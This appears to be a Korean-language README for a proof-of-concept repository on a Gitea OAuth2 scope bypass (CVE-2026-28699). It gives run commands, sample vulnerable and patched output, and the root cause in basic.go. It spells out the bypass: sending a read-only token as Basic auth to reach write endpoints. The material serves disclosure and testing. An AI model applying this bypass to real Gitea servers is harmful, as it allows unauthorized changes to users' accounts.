
CVE-2026-28699 실습 및 분석: HTTP Basic 인증을 통한 Gitea OAuth2 스코프 적용 우회
오직 read:user로 범위가 지정된 Gitea OAuth2 액세스 토큰이 Bearer 토큰 대신 Authorization: Basic base64(<token>:x-oauth-basic)으로 전송될 때 전체 쓰기 작업을 수행할 수 있습니다. Basic 인증을 통해 제시된 모든 토큰에 대해 범위 검사가 건너뛰어집니다.
영향받는 버전: <= 1.26.1. 1.26.2에서 수정됨.
권고: GHSA-9r5x-wg6m-x2rc. CWE-863. 심각도 높음.
전체 분석: WRITEUP.md
pip install -r requirements.txt # requests
python fetch_binaries.py # pulls vulnerable 1.26.1 + patched 1.26.2 for your OS
python poc.py 1.26.1 # vulnerable: Basic-auth write succeeds (scope bypassed)
python poc.py 1.26.2 # patched: Basic-auth write blocked (403)
poc.py는 시스템 임시 디렉터리에 SQLite를 사용하여 임시 Gitea를 구축하고, OAuth2 인증 코드 흐름을 실행하여 read:user 전용 토큰을 생성한 다음, Bearer 및 Basic을 통해 쓰기 엔드포인트를 호출하고 결과를 출력합니다. POC_DEBUG=1을 설정하면 인증 흐름 단계를 확인할 수 있습니다.
취약한 1.26.1:
[Bearer] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
[Basic ] PATCH /api/v1/user/settings -> HTTP 200 (ALLOWED -- scope BYPASSED)
>>> VULNERABLE: read:user token performed a write via Basic auth.
패치된 1.26.2:
[Bearer] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
[Basic ] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
>>> PATCHED: scope enforced on both Bearer and Basic.
services/auth/basic.go는 OAuth2 토큰에 대해 IsApiToken을 설정했지만 ApiTokenScope는 설정하지 않았습니다. tokenRequiresScopes 미들웨어는 범위가 없으면 조기에 반환되므로 아무 것도 확인되지 않습니다. 1.26.2 수정에서는 누락된 store.GetData()["ApiTokenScope"] = accessTokenScope를 추가했습니다.
교육 및 승인된 보안 테스트용: 자신의 연구실, CTF 및 HTB 환경, 범위 내 버그 바운티 대상. PoC는 자체 임시 Gitea를 실행하므로 소유하지 않은 대상에는 사용하지 마십시오.
| 인증 방식 | IsApiToken | ApiTokenScope | 범위 적용? |
|---|
| OAuth2 토큰 (Bearer) | true | 설정됨 | 예 |
| OAuth2 토큰 (Basic) | true | 누락됨 | 아니요 (열림 실패) |
| 개인 액세스 토큰 | true | 설정됨 | 예 |
| 파일 | 목적 |
|---|
WRITEUP.md | 근본 원인 분석, 영향, 수정, 탐지 |
fetch_binaries.py | 사용자의 OS/아키텍처에 맞는 1.26.1 / 1.26.2 바이너리를 다운로드합니다 |
poc.py | Gitea를 프로비저닝하고, read:user 토큰을 생성하며, Bearer vs Basic을 테스트합니다 |
requirements.txt | requests |